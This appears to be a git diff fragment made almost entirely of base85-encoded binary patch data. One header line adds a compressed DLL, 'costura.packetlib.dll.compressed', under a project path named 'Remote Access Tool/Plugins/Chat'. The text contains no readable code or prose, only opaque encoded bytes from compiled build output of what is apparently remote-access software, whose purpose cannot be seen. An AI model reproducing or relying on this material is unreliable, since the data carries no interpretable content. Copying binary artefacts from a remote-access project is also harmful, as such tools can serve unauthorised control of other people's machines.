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 AD*ylh diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Chat/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..d9d581db7bf0d1870559711f1dce5e8dd7438e3d GIT binary patch literal 31395 zcmZshcQ_nv`0wAm=|v<2iB%H4dl9RXrne}&I?-8{=$%9of-KQH(QVPKUJ_;XZk5#% zC0LdytCur!e%CqYkMqZT=6=54`@U!Q*~>gLV;a)0ztM%v?wv1d2q!;y{PHp4Ywthr zpD@0-%`bA#_xh)Ik3}9_y&C-P>VJ|sg%6&W=5U3Xj0^DWg@wb5CO{lSLTM4asK=|{ z?VNKNH?w~{E8n~nuF0g5R!S}-b|s3x}2H0AO7i|W`MB#iSL z8jls5s8DWL61lR&TI5ACed`SNr_^Trk=en8nU7tkGW(*2e^rcT5zqUoJU++wxD-*Iq(tR?e zy#NzERjE>p&U{pz6Y+Kug-6q(%xl(#vVUI6?sIv5cy5iR6-38g&)-TK8vhw2;ncPn zdf4TD{7@7eL1n*SoIF7JYJUIvnc(@N(Hj17M4dsg@48a!a7cTIDo6lKRT=$VAsb8u zXZ^{pVn5TpW~E!R%GM&@SbS0xSeuBg%W+gQNPl9G1Q}O`PhVa2NMF)0u>r-io5PI^ zznVsf=vbeLP;jVZr^A&x!ON~bG68lkFEV1Vf(eJjhNXN_gy zS~yyN+7=c=KjOF>$011Ss-!TUTlj1qAegQxc$e=R;vY~Wb|@9W0)Ml7r(Uqf_3GlI zjd#WlPP|XP3N}6yt1S`U&^FhS)83E92)_Pyt4EE$--FX6;WsjtGuKLw!;iT5Mu))o zhr=45&rw^=Pnz=oj^FvmgGWVx%0DMQAx70y%^j)qt^FhWx(Pd{Q=UV7rJf-%m>XS> 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 